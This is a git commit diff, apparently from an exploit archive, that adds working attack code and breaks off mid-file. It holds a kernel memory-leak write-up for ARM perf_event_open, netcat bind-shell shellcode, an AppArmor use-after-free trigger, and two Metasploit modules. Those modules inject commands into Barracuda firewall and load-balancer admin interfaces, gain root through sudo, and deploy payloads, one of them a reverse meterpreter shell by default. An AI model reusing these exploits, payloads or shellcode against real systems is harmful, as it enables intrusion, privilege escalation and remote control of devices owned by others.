DB: 2016-07-30
This commit is contained in:
parent
09544fdd22
commit
d1e88dd6d0
16 changed files with 8249 additions and 5885 deletions
82
platforms/arm/dos/40182.txt
Executable file
82
platforms/arm/dos/40182.txt
Executable file
|
@ -0,0 +1,82 @@
|
|||
perf_event_open() offers to collect various pieces of information when an event occurs, including a user stack backtrace (PERF_SAMPLE_CALLCHAIN). To collect a user stack backtrace, the kernel grabs the userland register state (if the event occured in kernelspace: the userland register state that was recorded on syscall entry), then walks the stackframes by following framepointers.
|
||||
|
||||
On ARM, the step from one stackframe to the next one is implemented in arch/arm/kernel/perf_callchain.c as follows:
|
||||
|
||||
/*
|
||||
* Get the return address for a single stackframe and return a pointer to the
|
||||
* next frame tail.
|
||||
*/
|
||||
static struct frame_tail __user *
|
||||
user_backtrace(struct frame_tail __user *tail,
|
||||
struct perf_callchain_entry *entry)
|
||||
{
|
||||
struct frame_tail buftail;
|
||||
unsigned long err;
|
||||
|
||||
if (!access_ok(VERIFY_READ, tail, sizeof(buftail)))
|
||||
return NULL;
|
||||
|
||||
pagefault_disable();
|
||||
err = __copy_from_user_inatomic(&buftail, tail, sizeof(buftail));
|
||||
pagefault_enable();
|
||||
|
||||
if (err)
|
||||
return NULL;
|
||||
|
||||
perf_callchain_store(entry, buftail.lr);
|
||||
|
||||
/*
|
||||
* Frame pointers should strictly progress back up the stack
|
||||
* (towards higher addresses).
|
||||
*/
|
||||
if (tail + 1 >= buftail.fp)
|
||||
return NULL;
|
||||
|
||||
return buftail.fp - 1;
|
||||
}
|
||||
|
||||
The access_ok() check is intended to prevent a malicious userland process from abusing the perf_event_open() API to leak kernelspace data. However, access_ok() does not actually check anything in set_fs(KERNEL_DS) sections, and performance events can occur in pretty much any context. Therefore, by causing a performance event to fire while e.g. the splice() syscall is running under KERNEL_DS, an attacker can circumvent this protection.
|
||||
|
||||
(The "tail + 1 >= buftail.fp" check has no relevance for an attacker; kernelspace addresses are higher than userspace addresses.)
|
||||
|
||||
After circumventing the protection, the attacker can set up a stackframe whose frame pointer points to an arbitrary kernelspace address. The kernel will follow that frame pointer, read the "saved link register" through it and make the result accessible to userspace. Therefore, this vulnerability can be used to read arbitrary kernelspace data.
|
||||
|
||||
The attached exploit can be used to leak 4 bytes at an arbitrary address, like this (tested on a Nexus 6, which runs a kernel based on upstream version 3.10, with a userdebug build that allows the shell user to get a root shell using "su"):
|
||||
|
||||
shell@shamu:/ $ su
|
||||
root@shamu:/ # echo 0 > /proc/sys/kernel/kptr_restrict
|
||||
root@shamu:/ # grep max_lock_depth /proc/kallsyms
|
||||
c1042dc0 D max_lock_depth
|
||||
root@shamu:/ # exit
|
||||
shell@shamu:/ $ cat /proc/sys/kernel/max_lock_depth
|
||||
1025
|
||||
shell@shamu:/ $ /data/local/tmp/poc 0xc1042dc0
|
||||
attempting to leak 0xc1042dc0
|
||||
fake stackframe: fp=0xbeafd920
|
||||
data_head is at e8
|
||||
SUCCESS: 0x00000401
|
||||
SUCCESS: 0x00000401
|
||||
shell@shamu:/ $ su
|
||||
root@shamu:/ # echo 4100 > /proc/sys/kernel/max_lock_depth
|
||||
root@shamu:/ # exit
|
||||
shell@shamu:/ $ /data/local/tmp/poc 0xc1042dc0
|
||||
attempting to leak 0xc1042dc0
|
||||
fake stackframe: fp=0xbecbd920
|
||||
data_head is at e8
|
||||
SUCCESS: 0x00001004
|
||||
SUCCESS: 0x00001004
|
||||
|
||||
(The number behind the "SUCCESS: " message is the leaked value.)
|
||||
|
||||
On recent kernels, the issue could be attacked more reliably using software events or tracepoints - however, before commit b3eac026 (first contained in Linux 4.2), there is no implementation of perf_arch_fetch_caller_regs() on ARM, making it impossible to exploit the issue that way.
|
||||
|
||||
The arm64 implementation seems to have the same issues as the arm implementation. The x86 code also looks dodgy and has an access_ok() check, but can't be exploited this way because of the valid_user_frame() check that occurs directly after the values have been read through the potentially-kernelspace pointer.
|
||||
|
||||
Regarding other architectures (which I haven't looked into in much detail because they seem less important): Interestingly, sparc already has a safe implementation that explicitly uses set_fs(USER_DS) to make access_ok() safe. tile doesn't seem to even make an effort to differentiate between kernelspace and userspace stacks at a first glance. xtensa has some code, but it looks dodgy. metag also has the bad access_ok() check, but does some sanity checking afterwards that makes it harder to attack. The powerpc code looks secure.
|
||||
|
||||
I have attached a completely untested patch that should fix the x86, arm and arm64 code.
|
||||
|
||||
|
||||
Proof of Concept:
|
||||
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/40182.zip
|
||||
|
130
platforms/lin_x86/shellcode/40179.c
Executable file
130
platforms/lin_x86/shellcode/40179.c
Executable file
|
@ -0,0 +1,130 @@
|
|||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h> //| needed for C "fork"
|
||||
#include <stdlib.h> //| needed for C "system"
|
||||
|
||||
|
||||
//| Exploit Title: [Linux x86 NetCat bind shell with Port (44, 52 bytes)]
|
||||
//| Date: [7/28/2016]
|
||||
//| Exploit Author: [CripSlick]
|
||||
//| Tested on: [Kali 2.0 x86]
|
||||
//| Version: [NetCat v1.10-41]
|
||||
|
||||
//| ShepherdDowling@gmail.com
|
||||
//| OffSec ID: OS-20614
|
||||
//| http://50.112.22.183/
|
||||
|
||||
|
||||
//|=====================================================================================================
|
||||
//|================================ CripSlick's Short NetCat Bind Shell ================================
|
||||
//|
|
||||
//|
|
||||
//| Why use CripSlick's NetCat Bind Shell?
|
||||
//| Because it is short and that is about the only reason. If you can spare some bytes, I highly
|
||||
//| suggest that you go with my Ncat Bind Shell that has the added benefits of SSL, persistent,
|
||||
//| multi-terminal with a password >>>>>>>>>>>>>> https://www.exploit-db.com/exploits/40061/
|
||||
//| Or if you must only rely on syscalls, go >>>> https://www.exploit-db.com/exploits/40122/
|
||||
//| for my bind shell that is also, persistent, multiterminal with a password (Ncat is better
|
||||
//| due to SSL, so if you know the victim has it on their machine use it.)
|
||||
//|
|
||||
//|
|
||||
//| Sometimes we don't have the luxury of being able to have the other goodies so you must make do
|
||||
//| with a less powerful approach to at least get your foot in the door, and that is why I made this.
|
||||
//|
|
||||
//| Defender Bash Script
|
||||
//| netstat -an | grep -A 50 Recv-Q | egrep "tcp|udp"
|
||||
//|
|
||||
//| I came up with this bash script because I wanted to be able to see who was spying that included
|
||||
//| TCP listening, TCP established, UDP listening, & UDP established.
|
||||
//| I found it annoying that some people needed to run a new script for every state so I fixed that.
|
||||
//| the "-A 50" means your bash script will hold up to 50 connections.
|
||||
//| If you need more connections increase the number, and if the scan is slow, decrease the number.
|
||||
|
||||
|
||||
|
||||
|
||||
#define PORT "\x39\x38" // FORWARD BYTE ORDER (ASCII TO HEX)
|
||||
//| PORT:98
|
||||
|
||||
//| Specifying the PROTOCOL Only Applies to CODE2
|
||||
//#define PROTOCOL "\x76\x76" // TCP & IS terminal visible
|
||||
#define PROTOCOL "\x75\x75" // UDP & NOT terminal visible
|
||||
|
||||
//|=====================!!!CHOSE ONLY ONE SHELLCODE!!!============================
|
||||
//| ==============================================================================
|
||||
//| CODE1 Random Port, real ghetto but only 44 bytes!!
|
||||
//| ==============================================================================
|
||||
//| Attacker Finds Port: nmap 10.1.1.4 -p-
|
||||
//| Attacker Connects via TCP: nc <IP> <PORT>
|
||||
//| Defender : netstat -an | grep -A 50 Recv-Q | egrep "tcp|udp"
|
||||
|
||||
|
||||
unsigned char CODE1[] = //replace CODE1 for both CODEX <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<
|
||||
|
||||
"\x31\xc0\x31\xd2\x50\x68\x6e\x2f\x73\x68\x68\x65\x2f\x62\x69\x68\x2d"
|
||||
"\x6c\x76\x76\x89\xe6\x50\x68\x2f\x2f\x6e\x63\x68\x2f\x62\x69\x6e\x89"
|
||||
"\xe3\x50\x56\x53\x89\xe1\xb0\x0b\xcd\x80"
|
||||
;
|
||||
|
||||
|
||||
//|=====================!!!CHOSE ONLY ONE SHELLCODE!!!============================
|
||||
//| ==============================================================================
|
||||
//| CODE2 with port and still only 52 bytes
|
||||
//| ==============================================================================
|
||||
//| Attacker Connects via TCP: nc <IP> <PORT>
|
||||
//| Attacker Connects via UDP: nc -u <IP> <PORT>
|
||||
//| Defender : netstat -an | grep -A 50 Recv-Q | egrep "tcp|udp"
|
||||
|
||||
|
||||
unsigned char CODE2[] = //replace CODE2 for both CODEX <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<
|
||||
|
||||
|
||||
"\x31\xdb\xf7\xe3\x68\x2d\x70"PORT"\x89\xe7\x50\x68\x6e\x2f\x73\x68\x68"
|
||||
"\x65\x2f\x62\x69\x68\x2d\x6c"PROTOCOL"\x89\xe6\x50\x68\x2f\x2f\x6e\x63"
|
||||
"\x68\x2f\x62\x69\x6e\x89\xe3\x50\x57\x56\x53\x89\xe1\xb0\x0b\xcd\x80"
|
||||
;
|
||||
|
||||
|
||||
|
||||
//|========================== VOID SHELLCODE ======================================
|
||||
void SHELLCODE()
|
||||
{
|
||||
// This part floods the registers to make sure the shellcode will always run
|
||||
__asm__("mov $0xAAAAAAAA, %eax\n\t"
|
||||
"mov %eax, %ebx\n\t" "mov %eax, %ecx\n\t" "mov %eax, %edx\n\t"
|
||||
"mov %eax, %esi\n\t" "mov %eax, %edi\n\t" "mov %eax, %ebp\n\t"
|
||||
"call CODE2"); //1st CODEX<><><><><><><><><><><><><><><><><><><><><><><><><><><><><><>
|
||||
}
|
||||
|
||||
//|========================== VOID printBytes =====================================
|
||||
void printBytes()
|
||||
{
|
||||
printf("CripSlick's code is %d Bytes Long\n",
|
||||
strlen(CODE2)); //2nd CODEX<><><><><><><><><><><><><><><><><><><><><><><><><><><><><><>
|
||||
}
|
||||
|
||||
|
||||
//|============================== Int main ========================================
|
||||
int main ()
|
||||
{
|
||||
|
||||
// IMPORTANT> replace CODEX the "unsigned char" variable above
|
||||
// > This needs to be done twice (for string count + code to use)
|
||||
|
||||
int pid = fork(); // fork start
|
||||
if(pid == 0){ // pid always starts at 0
|
||||
|
||||
SHELLCODE(); // launch void SHELLCODE
|
||||
// this is to represent a scenario where you bind to a good program
|
||||
// you always want your shellcode to run first
|
||||
|
||||
}else if(pid > 0){ // pid will always be greater than 0 after the 1st process
|
||||
// this argument will always be satisfied
|
||||
|
||||
printBytes(); // launch printBYTES
|
||||
// pretend that this is the one the victim thinks he is only using
|
||||
}
|
||||
return 0; // satisfy int main
|
||||
system("exit"); // keeps our shellcode a daemon. This only works with C0DE2 as UDP
|
||||
}
|
||||
|
120
platforms/linux/dos/40181.c
Executable file
120
platforms/linux/dos/40181.c
Executable file
|
@ -0,0 +1,120 @@
|
|||
/*
|
||||
There's a reference count leak in aa_fs_seq_hash_show that can be used to overflow the reference counter and trigger a kernel use-after-free
|
||||
|
||||
static int aa_fs_seq_hash_show(struct seq_file *seq, void *v)
|
||||
{
|
||||
struct aa_replacedby *r = seq->private;
|
||||
struct aa_profile *profile = aa_get_profile_rcu(&r->profile); // <--- takes a reference on profile
|
||||
unsigned int i, size = aa_hash_size();
|
||||
|
||||
if (profile->hash) {
|
||||
for (i = 0; i < size; i++)
|
||||
seq_printf(seq, "%.2x", profile->hash[i]);
|
||||
seq_puts(seq, "\n");
|
||||
}
|
||||
|
||||
return 0;
|
||||
} // <-- no reference dropped
|
||||
|
||||
See attached for a PoC that triggers a use-after-free on an aa_label object on Ubuntu 15.10 with the latest 4.2.0.35 kernel; the Ubuntu kernel appears to use an older version of AppArmor prior to some refactoring, but the same issue is present.
|
||||
|
||||
static int aa_fs_seq_hash_show(struct seq_file *seq, void *v)
|
||||
{
|
||||
struct aa_replacedby *r = seq->private;
|
||||
struct aa_label *label = aa_get_label_rcu(&r->label); // <--- takes a reference on label
|
||||
struct aa_profile *profile = labels_profile(label);
|
||||
unsigned int i, size = aa_hash_size();
|
||||
|
||||
if (profile->hash) {
|
||||
for (i = 0; i < size; i++)
|
||||
seq_printf(seq, "%.2x", profile->hash[i]);
|
||||
seq_puts(seq, "\n");
|
||||
}
|
||||
|
||||
return 0;
|
||||
} // <--- no reference dropped
|
||||
|
||||
I noticed in reproducing this issue that it appears that there has been a patch applied to the very latest Ubuntu kernel shipped in 16.04 that fixes this that hasn't been upstreamed or backported.
|
||||
|
||||
The fix is just to correctly drop the acquired reference.
|
||||
|
||||
index ad4fa49..798d492 100644
|
||||
--- a/security/apparmor/apparmorfs.c
|
||||
+++ b/security/apparmor/apparmorfs.c
|
||||
@@ -331,6 +331,7 @@ static int aa_fs_seq_hash_show(struct seq_file *seq, void *v)
|
||||
seq_printf(seq, "%.2x", profile->hash[i]);
|
||||
seq_puts(seq, "\n");
|
||||
}
|
||||
+ aa_put_profile(profile);
|
||||
|
||||
return 0;
|
||||
}
|
||||
*/
|
||||
|
||||
#include <unistd.h>
|
||||
#include <fcntl.h>
|
||||
|
||||
#include <keyutils.h>
|
||||
|
||||
#include <err.h>
|
||||
#include <stdint.h>
|
||||
#include <stdlib.h>
|
||||
#include <stdio.h>
|
||||
|
||||
#include <sys/apparmor.h>
|
||||
|
||||
#define BASE_PATH "/sys/kernel/security/apparmor/policy/profiles/sbin.dhclient.2"
|
||||
#define HASH_PATH BASE_PATH "/sha1"
|
||||
|
||||
void add_references(int hash_fd, int refs_to_add) {
|
||||
char buf[1];
|
||||
for (int i = 0; i < refs_to_add; ++i) {
|
||||
pread(hash_fd, buf, sizeof(buf), 0);
|
||||
}
|
||||
}
|
||||
|
||||
int main(int argc, char** argv) {
|
||||
int hash_fd;
|
||||
int fds[0x100];
|
||||
pid_t pid;
|
||||
|
||||
hash_fd = open(HASH_PATH, O_RDONLY);
|
||||
if (hash_fd < 0) {
|
||||
err(-1, "failed to open HASH_PATH");
|
||||
}
|
||||
|
||||
fprintf(stderr, "[*] forking to speed up initial reference count increments\n");
|
||||
for (int i = 0; i < 0xf; ++i) {
|
||||
if (!fork()) {
|
||||
add_references(hash_fd, 0x11111100);
|
||||
exit(0);
|
||||
}
|
||||
}
|
||||
|
||||
for (int i = 0; i < 0xf; ++i) {
|
||||
int status;
|
||||
wait(&status);
|
||||
}
|
||||
fprintf(stderr, "[*] initial reference count increase finished\n");
|
||||
|
||||
fprintf(stderr, "[*] entering profile\n");
|
||||
aa_change_profile("/sbin/dhclient");
|
||||
|
||||
pid = fork();
|
||||
if (pid) {
|
||||
for (int i = 0; i < 0x100; ++i) {
|
||||
fds[i] = open("/proc/self/net/arp", O_RDONLY);
|
||||
}
|
||||
}
|
||||
else {
|
||||
add_references(hash_fd, 0x100);
|
||||
exit(0);
|
||||
}
|
||||
|
||||
fprintf(stderr, "[*] past the point of no return");
|
||||
sleep(5);
|
||||
|
||||
for (int i = 0; i < 0x100; ++i) {
|
||||
close(fds[i]);
|
||||
}
|
||||
}
|
253
platforms/linux/remote/40176.rb
Executable file
253
platforms/linux/remote/40176.rb
Executable file
|
@ -0,0 +1,253 @@
|
|||
# Exploit Title: Barracuda Web App Firewall/Load Balancer Post Auth Remote Root Exploit (3)
|
||||
# Date: 07/28/16
|
||||
# Exploit Author: xort xort@blacksecurity.org
|
||||
# Vendor Homepage: https://www.barracuda.com/
|
||||
# Software Link: https://www.barracuda.com/products/loadbalance & https://www.barracuda.com/products/webapplicationfirewall
|
||||
# Version: Load Balancer Firmware <= v5.4.0.004 (2015-11-26) & Web App Firewall Firmware <= 8.0.1.008 (2016-03-22)
|
||||
# Tested on: Load Balancer Firmware <= v5.4.0.004 (2015-11-26) & Web App Firewall Firmware <= v8.0.1.008 (2016-03-22)
|
||||
# CVE : None.
|
||||
|
||||
# vuln: UPDATE_va_other_options trigger exploit
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
include Exploit::Remote::Tcp
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Barracuda Web App Firewall/Load Balancer Post Auth Remote Root Exploit (3)',
|
||||
'Description' => %q{
|
||||
This module exploits a remote command execution vulnerability in the Barracuda Web App Firewall
|
||||
Firmware Version <= 8.0.1.008 and Load Balancer Firmware <= v5.4.0.004 by exploiting a vulnerability
|
||||
in the web administration interface. By sending a specially crafted request it's possible to inject
|
||||
system commands while escalating to root do to relaxed sudo configurations on the applianaces.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'xort', # vuln + metasploit module
|
||||
],
|
||||
'Version' => '$Revision: 2 $',
|
||||
'References' =>
|
||||
[
|
||||
[ 'none', 'none'],
|
||||
],
|
||||
'Platform' => [ 'linux'],
|
||||
'Privileged' => true,
|
||||
'Arch' => [ ARCH_X86 ],
|
||||
'SessionTypes' => [ 'shell' ],
|
||||
'Privileged' => false,
|
||||
|
||||
'Payload' =>
|
||||
{
|
||||
'Compat' =>
|
||||
{
|
||||
'ConnectionType' => 'find',
|
||||
}
|
||||
},
|
||||
|
||||
'Targets' =>
|
||||
[
|
||||
['Barracuda Web App Firewall Firmware Version <= 8.0.1.008 (2016-03-22)',
|
||||
{
|
||||
'Arch' => ARCH_X86,
|
||||
'Platform' => 'linux',
|
||||
'SudoCmdExec' => "/home/product/code/firmware/current/bin/config_agent_wrapper.pl"
|
||||
}
|
||||
],
|
||||
|
||||
['Barracuda Load Balancer Firmware <= v5.4.0.004 (2015-11-26)',
|
||||
{
|
||||
'Arch' => ARCH_X86,
|
||||
'Platform' => 'linux',
|
||||
'SudoCmdExec' => "/home/product/code/firmware/current/bin/rdpd"
|
||||
}
|
||||
],
|
||||
],
|
||||
|
||||
'DefaultTarget' => 0))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('PASSWORD', [ false, 'Device password', "" ]),
|
||||
OptString.new('ET', [ false, 'Device password', "" ]),
|
||||
OptString.new('USERNAME', [ true, 'Device password', "admin" ]),
|
||||
OptString.new('CMD', [ false, 'Command to execute', "" ]),
|
||||
Opt::RPORT(8000),
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def do_login(username, password_clear, et)
|
||||
vprint_status( "Logging into machine with credentials...\n" )
|
||||
|
||||
# vars
|
||||
timeout = 1550;
|
||||
enc_key = Rex::Text.rand_text_hex(32)
|
||||
|
||||
# send request
|
||||
res = send_request_cgi(
|
||||
{
|
||||
'method' => 'POST',
|
||||
'uri' => "/cgi-mod/index.cgi",
|
||||
'headers' =>
|
||||
{
|
||||
'Accept' => "application/json, text/javascript, */*; q=0.01",
|
||||
'Content-Type' => "application/x-www-form-urlencoded",
|
||||
'X-Requested-With' => "XMLHttpRequest"
|
||||
},
|
||||
'vars_post' =>
|
||||
{
|
||||
|
||||
'enc_key' => enc_key,
|
||||
'et' => et,
|
||||
'user' => "admin", # username,
|
||||
'password' => "admin", # password_clear,
|
||||
'enctype' => "none",
|
||||
'password_entry' => "",
|
||||
'login_page' => "1",
|
||||
'login_state' => "out",
|
||||
'real_user' => "",
|
||||
'locale' => "en_US",
|
||||
'form' => "f",
|
||||
'Submit' => "Sign in",
|
||||
}
|
||||
}, timeout)
|
||||
|
||||
# get rid of first yank
|
||||
password = res.body.split('\n').grep(/(.*)password=([^&]+)&/){$2}[0] #change to match below for more exact result
|
||||
et = res.body.split('\n').grep(/(.*)et=([^&]+)&/){$2}[0]
|
||||
|
||||
return password, et
|
||||
end
|
||||
|
||||
def run_command(username, password, et, cmd)
|
||||
vprint_status( "Running Command...\n" )
|
||||
|
||||
# file to replace
|
||||
sudo_cmd_exec = target['SudoCmdExec']
|
||||
#sudo_cmd_exec = "/home/product/code/firmware/current/bin/config_agent_wrapper.pl"
|
||||
#sudo_cmd_exec = "/home/product/code/firmware/current/bin/rdpd"
|
||||
|
||||
sudo_run_cmd_1 = "sudo /bin/cp /bin/sh #{sudo_cmd_exec} ; sudo /bin/chmod +x #{sudo_cmd_exec}"
|
||||
sudo_run_cmd_2 = "sudo #{sudo_cmd_exec} -c "
|
||||
|
||||
# random filename to dump too + 'tmp' HAS to be here.
|
||||
b64dumpfile = "/tmp/" + rand_text_alphanumeric(4+rand(4))
|
||||
|
||||
vprint_status(" file = " + b64dumpfile)
|
||||
|
||||
# decoder stubs - tells 'base64' command to decode and dump data to temp file
|
||||
b64decode1 = "echo \""
|
||||
b64decode2 = "\" | base64 -d >" + b64dumpfile
|
||||
|
||||
# base64 - encode with base64 so we can send special chars and multiple lines
|
||||
cmd = Base64.strict_encode64(cmd)
|
||||
|
||||
# Create injection string.
|
||||
# a) package the base64 decoder with encoded bytes
|
||||
# b) attach a chmod +x request to make the script created (b64dumpfile) executable
|
||||
# c) execute decoded base64 dumpfile
|
||||
|
||||
injection_string = b64decode1 + cmd + b64decode2 + "; /bin/chmod +x " + b64dumpfile + "; " + sudo_run_cmd_1 + "; " + sudo_run_cmd_2 + b64dumpfile # + " ; rm " + b64dumpfile
|
||||
|
||||
exploitreq = [
|
||||
[ "auth_type","Local" ],
|
||||
[ "et",et ],
|
||||
[ "locale","en_US" ],
|
||||
[ "password", password ],
|
||||
[ "primary_tab", "ADVANCE" ],
|
||||
[ "realm","" ],
|
||||
[ "secondary_tab","advanced_system" ],
|
||||
[ "user", username ],
|
||||
[ "timestamp", Time.now.to_i ],
|
||||
|
||||
[ "UPDATE_va_other_options", "1" ],
|
||||
[ "UPDATE_scan_information_in_use", "xx; #{injection_string}" ] # vuln
|
||||
|
||||
]
|
||||
|
||||
boundary = "---------------------------" + Rex::Text.rand_text_numeric(34)
|
||||
|
||||
post_data = ""
|
||||
|
||||
exploitreq.each do |xreq|
|
||||
post_data << "--#{boundary}\r\n"
|
||||
post_data << "Content-Disposition: form-data; name=\"#{xreq[0]}\"\r\n\r\n"
|
||||
post_data << "#{xreq[1]}\r\n"
|
||||
end
|
||||
post_data << "--#{boundary}--\r\n"
|
||||
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => "/cgi-mod/index.cgi",
|
||||
'ctype' => "multipart/form-data; boundary=#{boundary}",
|
||||
'data' => post_data,
|
||||
'headers' =>
|
||||
{
|
||||
'UserAgent' => "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:18.0) Gecko/20100101 Firefox/18.0",
|
||||
}
|
||||
})
|
||||
|
||||
end
|
||||
|
||||
def run_script(username, password, et, cmds)
|
||||
vprint_status( "running script...\n")
|
||||
|
||||
|
||||
end
|
||||
|
||||
def exploit
|
||||
# timeout
|
||||
timeout = 1550;
|
||||
|
||||
user = "admin"
|
||||
|
||||
# params
|
||||
real_user = "";
|
||||
login_state = "out"
|
||||
et = Time.now.to_i
|
||||
locale = "en_US"
|
||||
user = "admin"
|
||||
password = "admin"
|
||||
enctype = "MD5"
|
||||
password_entry = ""
|
||||
password_clear = "admin"
|
||||
|
||||
if not datastore['PASSWORD'].nil? and not datastore['PASSWORD'].empty?
|
||||
|
||||
password_clear = datastore['PASSWORD']
|
||||
password = datastore['PASSWORD']
|
||||
# et = datastore['ET']
|
||||
end
|
||||
|
||||
password_hash, et = do_login(user, password_clear, et)
|
||||
vprint_status("new password: #{password_hash} et: #{et}\n")
|
||||
|
||||
sleep(5)
|
||||
|
||||
|
||||
#if no 'CMD' string - add code for root shell
|
||||
if not datastore['CMD'].nil? and not datastore['CMD'].empty?
|
||||
|
||||
cmd = datastore['CMD']
|
||||
|
||||
# Encode cmd payload
|
||||
encoded_cmd = cmd.unpack("H*").join().gsub(/(\w)(\w)/,'\\x\1\2')
|
||||
|
||||
# kill stale calls to bdump from previous exploit calls for re-use
|
||||
run_command(user, password_hash, et, ("sudo /bin/rm -f /tmp/n ;printf \"#{encoded_cmd}\" > /tmp/n; chmod +rx /tmp/n ; /tmp/n" ))
|
||||
else
|
||||
# Encode payload to ELF file for deployment
|
||||
elf = Msf::Util::EXE.to_linux_x86_elf(framework, payload.raw)
|
||||
encoded_elf = elf.unpack("H*").join().gsub(/(\w)(\w)/,'\\x\1\2')
|
||||
|
||||
run_command(user, password_hash, et, ("printf \"#{encoded_elf}\" > /tmp/m; chmod +rx /tmp/m ; /tmp/m" ))
|
||||
handler
|
||||
end
|
||||
|
||||
|
||||
end
|
||||
|
||||
end
|
180
platforms/linux/remote/40177.rb
Executable file
180
platforms/linux/remote/40177.rb
Executable file
|
@ -0,0 +1,180 @@
|
|||
# Exploit Title: Barracuda Web Application Firewall <= v8.0.1.008 Post Auth Remote Root Exploit
|
||||
# Date: 07/28/16
|
||||
# Exploit Author: xort xort@blacksecurity.org
|
||||
# Vendor Homepage: https://www.barracuda.com/
|
||||
# Software Link: https://www.barracuda.com/products/webapplicationfirewall
|
||||
# Version: Web App Firewall Firmware <= 8.0.1.008 (2016-03-22)
|
||||
# Tested on: Web App Firewall Firmware <= v8.0.1.008 (2016-03-22)
|
||||
# CVE : None.
|
||||
|
||||
# vuln: interface_stats
|
||||
|
||||
require 'msf/core'
|
||||
require 'date'
|
||||
require "base64"
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
include Exploit::Remote::Tcp
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Barracuda Web Application Firewall <= v8.0.1.008 Post Auth Root Exploit',
|
||||
'Description' => %q{
|
||||
This module exploits a remote command execution vulnerability in the Barracuda Web
|
||||
Application Firweall firmware versions <= v8.0.1.008 (2016-03-22) by exploiting a
|
||||
vulnerability in the web administration interface. By sending a specially crafted
|
||||
request it's possible to inject system commands while escalating to root do to relaxed
|
||||
sudo configuration on the local machine.
|
||||
},
|
||||
'Author' => [ 'xort' ], # disclosure and exploit module
|
||||
'References' => [ [ 'none', 'none'] ],
|
||||
'Platform' => [ 'linux'],
|
||||
'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp' },
|
||||
'Targets' => [['Web Application Firewall <= v8.0.1.008 (2016-03-22)', {}]],
|
||||
'DefaultTarget' => 0 ))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('PASSWORD', [ false, 'Password', "admin" ]),
|
||||
OptString.new('USERNAME', [ true, 'Admin Username', "admin" ]),
|
||||
OptString.new('CMD', [ false, 'Command to execute', "" ]),
|
||||
Opt::RPORT(8000),
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def do_login(username, password_clear, et)
|
||||
vprint_status( "Logging into machine with credentials...\n" )
|
||||
|
||||
# vars
|
||||
timeout = 1550;
|
||||
enc_key = Rex::Text.rand_text_hex(32)
|
||||
|
||||
# send request
|
||||
res = send_request_cgi(
|
||||
{
|
||||
'method' => 'POST',
|
||||
'uri' => "/cgi-mod/index.cgi",
|
||||
'headers' =>
|
||||
{
|
||||
'Accept' => "application/json, text/javascript, */*; q=0.01",
|
||||
'Content-Type' => "application/x-www-form-urlencoded",
|
||||
'X-Requested-With' => "XMLHttpRequest"
|
||||
},
|
||||
'vars_post' =>
|
||||
{
|
||||
|
||||
'enc_key' => enc_key,
|
||||
'et' => et,
|
||||
'user' => "admin", # username,
|
||||
'password' => "admin", # password_clear,
|
||||
'enctype' => "none",
|
||||
'password_entry' => "",
|
||||
'login_page' => "1",
|
||||
'login_state' => "out",
|
||||
'real_user' => "",
|
||||
'locale' => "en_US",
|
||||
'form' => "f",
|
||||
'Submit' => "Sign in",
|
||||
}
|
||||
}, timeout)
|
||||
|
||||
# get rid of first yank
|
||||
password = res.body.split('\n').grep(/(.*)password=([^&]+)&/){$2}[0] #change to match below for more exact result
|
||||
et = res.body.split('\n').grep(/(.*)et=([^&]+)&/){$2}[0]
|
||||
|
||||
return password, et
|
||||
end
|
||||
|
||||
def run_command(username, password, et, cmd)
|
||||
|
||||
# file to replace
|
||||
sudo_cmd_exec = "/home/product/code/firmware/current/bin/config_agent_wrapper.pl"
|
||||
|
||||
sudo_run_cmd_1 = "sudo /bin/cp /bin/sh #{sudo_cmd_exec} ; sudo /bin/chmod +x #{sudo_cmd_exec}"
|
||||
sudo_run_cmd_2 = "sudo #{sudo_cmd_exec} -c "
|
||||
|
||||
vprint_status( "Running Command...\n" )
|
||||
|
||||
# random filename to dump too + 'tmp' HAS to be here.
|
||||
b64dumpfile = "/tmp/" + rand_text_alphanumeric(4+rand(4))
|
||||
|
||||
# decoder stubs - tells 'base64' command to decode and dump data to temp file
|
||||
b64decode1 = "echo \""
|
||||
b64decode2 = "\" | base64 -d >" + b64dumpfile
|
||||
|
||||
# base64 - encode with base64 so we can send special chars and multiple lines
|
||||
cmd = Base64.strict_encode64(cmd)
|
||||
|
||||
# Create injection string.
|
||||
# a) package the base64 decoder with encoded bytes
|
||||
# b) attach a chmod +x request to make the script created (b64dumpfile) executable
|
||||
# c) execute decoded base64 dumpfile
|
||||
|
||||
injection_string = b64decode1 + cmd + b64decode2 + "; /bin/chmod +x " + b64dumpfile + "; " + sudo_run_cmd_1 + "; " + sudo_run_cmd_2 + b64dumpfile + " ; rm " + b64dumpfile
|
||||
|
||||
# injection_string = b64decode1 + cmd + b64decode2 + "; /bin/chmod +x " + b64dumpfile + "; " + sudo_run_cmd_1 + "; " + sudo_run_cmd_2 + b64dumpfile
|
||||
|
||||
vprint_status( "sending..." )
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => "/cgi-mod/index.cgi",
|
||||
'headers' =>
|
||||
{
|
||||
'UserAgent' => "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:18.0) Gecko/20100101 Firefox/18.0",
|
||||
},
|
||||
'vars_get' => {
|
||||
'ajax_action' => 'interface_stats',
|
||||
'user' => username,
|
||||
'password' => password,
|
||||
'et' => et,
|
||||
'locale' => 'en_US',
|
||||
'realm' => '',
|
||||
